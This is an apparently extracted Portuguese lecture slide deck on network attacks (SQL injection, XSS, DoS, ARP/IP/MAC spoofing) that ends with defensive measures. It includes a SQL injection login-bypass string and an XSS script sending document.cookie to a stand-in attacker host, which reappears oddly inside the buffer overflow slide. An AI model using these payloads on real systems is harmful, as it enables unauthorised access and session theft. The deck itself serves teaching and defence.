O documento discute vários tipos de ataques de segurança de rede, como SQL injection, XSS, buffer overflow, ataques DoS e spoofing. Ele também fornece exemplos reais desses ataques e dicas sobre como se proteger, como filtrar dados de entrada, escapar saídas, atualizar softwares e configurar firewalls.
1. Segurança de redes não é
coisa de moleque!
Leandro Almeida
lcavalcanti.almeida@gmail.com
www.leandrocalmeida.com
2. - Professor Universitário
- IFPB
- Estácio (iDEZ)
-Especialista em Segurança da
Informação
-Mestrando em Informática
- Certificado ITILv3
- Fedora Ambassadors
- Sócio-diretor da YouTI
3. Nosso chefe sempre tem um sobrinho
que resolve tudo de informática!
Eu tenho um sobrinho que instala um
antivírus que é uma beleza!
E o melhor é que eu não gasto nada
4. O problema é que os sobrinhos não
aguentam o tranco!
5. Negócios
Tecnologia da Informação
Segurança da Informação
Integridade Confidencialidade Disponibilidade
Pessoas Processos Tecnologias
10. Ataques – Redes de Computadores
- Engenharia Social
- ARP Spoofing
- DoS / DDoS / DoS Layer 7
- Sql Injection
- XSS
- MAC Spoofing
- IP Spoofing
- Website Defacement
- Pragas Virtuais (Vírus, Worms,...)
11. Ataques
Aplicação Sql Injection XSS
DoS HTTP Buffer Overflow
Transporte TCP SYN FLOOD UDP FLOOD
Main in the Middle
Rede IP Spoofing ICMP Flooding
STP Attack
Enlace ARP Spoofing
ARP Poisoning
Físico MAC Spoofing
12. SQL Injection
Ex : Sistema de autenticação em PHP
Imagine se o usuário inserir os dados abaixo...
Login: qualquer coisa
Senha: ' OR '1'='1
SELECT * FROM usuarios WHERE login='qualquer coisa' AND senha = '' OR '1'='1'
Essa query SQL retornará todos os registros da tabela usuários!
13. SQL Injection
Casos Reais
Website Mysql
http://www.computerworld.com/s/article/9215249/MySQL_Web_site_falls_victim_to_SQL_injection_attack
Sony
http://www.bbc.co.uk/news/technology-13642145
Distrito Federal
http://www.linhadefensiva.org/2008/05/ataques-de-sql-injection-atingem-sites-brasileiros/
14. XSS
Suposição:Facebook vulnerável a Cross-Site Scripting
Usuário ingênuo clica no link...
<script>
Document.location =
'http://sitedocracker.com/roubarcokkies.php=' + document.cookie
</script>
Insere um código(html, Javascript,...) malicioso no lugar de um post na
base de dados do facebook
16. DoS HTTP GET
SYN
SYN-ACK
ACK
GET /index.php
ACK
Pragma: 1010
...
Erro 408 – Request
Timeout
17. História...
- Avenge Assange – 2010 (Prisão de Julian
Assange - Wikileaks)
– Alvo: Mastecard
- Sony – 2011 (Sony processou a GEOHOT pelo
desbloqueio do PS3)
- Alvo: PSN (77 milhões de pessoas sem PSN)
- Megaupload – 2012 (Prisão de Kim Dotcom)
- Alvo: FBI
23. DoS HTTP POST
SYN
SYN-ACK
ACK
POST / inserir.html
ACK
Continuação do POST
...
Erro 400 – Bad
Request
24. Buffer Overflow
char nome[4]; int idade;
L E O 0 2 0
Entrada: LEO idade: 20
char nome[4]; int idade;
L E O O A 0
<script>
Document.location =
'http://sitedocracker.com/roubarcokkies.php=' + document.cookie
</script>
Entrada: LEOOA idade: 65
28. UDP FLOOD
UDP – porta qualquer
UDP – porta qualquer
UDP – porta qualquer
UDP – porta qualquer
UDP – porta qualquer
UDP – porta qualquer
29. Main in the Middle
Packet
Packet
Packet
Packet
30. IP Spoofing
Packet
Packet
10.0.0.1
Packet
Packet 10.0.0.254
Packet
Packet
Atacante envia pacotes IP falsificados para
a vítima, se passando por outro host na
10.0.0.1 rede!
33. ARP Spoofing
Packet
Packet
IP: 10.0.0.1
MAC:
Packet
68:A3:C4:9B:73:54
IP: 10.0.0.254
Packet
MAC: 52:54:00:69:42:4A
arpspoof
Packet
Packet
Atacante envia pacotes ARP falsificados
IP: 10.0.0.2 para a vítima, se passando por outro host
MAC:
na rede!
68:A3:C4:9B:73:54
34. ARP Poisoning
IP: 10.0.0.1
MAC:68:A3:C4:9B:73:54
1 MAC IP: 10.0.0.254
2 MAC MAC: 52:54:00:69:42:4A
Packet
3 MAC
4 MAC
5 MAC
6 MAC
Atacante envenena a tabela ARP do Switch
IP: 10.0.0.2
MAC: 68:A3:C4:9B:73:54
35. MAC Spoofing
Packet
Packet
68:A3:C4:9B:73:54
Packet
52:54:00:69:42:4A
Packet
Packet
Atacante envia pacotes com endereço MAC
falsificado para a vítima, se passando por
68:A3:C4:9B:73:54 outro host na rede!
37. Como se proteger ?
- XSS e SQL Injection
- Filtrar os dados de entrada
- filter_input (PHP)
- Escapar os dados de saída
- MySQL: mysql_real_escape_string()
- PostgreSQL: pg_escape_string()
- htmlentities,htmlespecialchars
- Procure saber sobre o que é OWASP
38. Como se proteger ?
- Buffer Overflow
- Filtrar os dados de entrada
- Verificar se a linguagem não checa se um
número maior de dados pode ser armazenado
em um buffer
- No exemplo citado, use software original
e o mantenha sempre atualizado
39. Como se proteger ?
- Ataques ao SSH
- Single Packet Authorization
ssh L
I
B
P
ssh connection refused C
A
P
SPA Packet
iptables -A INPUT -i eth0 -p tcp –dport 22 -j REJECT
iptables -A INPUT -i eth0 -p tcp –dport 22 -s 10.0.0.1
-j ACCEPT
ssh
ssh connection accept
40. Como se proteger ?
- DoS HTTP GET/POST
Tentativas...
- TCP SYN Cookies
- echo 1 > /proc/sys/net/ipv4/tcp_syncookies
- Instalar o mod_qos no Apache
41. Como se proteger ?
- TCP/UDP/ICMP Flood
Existem tentativas de soluções com o
módulo “limit” do iptables...
42. Como se proteger ?
- IP Spoofing
- Ativar o rp_filter(Reverse Path) via kernel
Echo 1 > /proc/sys/net/ipv4/conf/default/rp_filter
- Rejeita os pacotes quando a rota de
saída difere da rota de entrada
43. Como se proteger ?
- ARP Poisoning/Spoofing
- Uso do Port Security
- Mac Biding (atrelar MAC a IP)
- Uso de ferramentas como rarp / arpwatch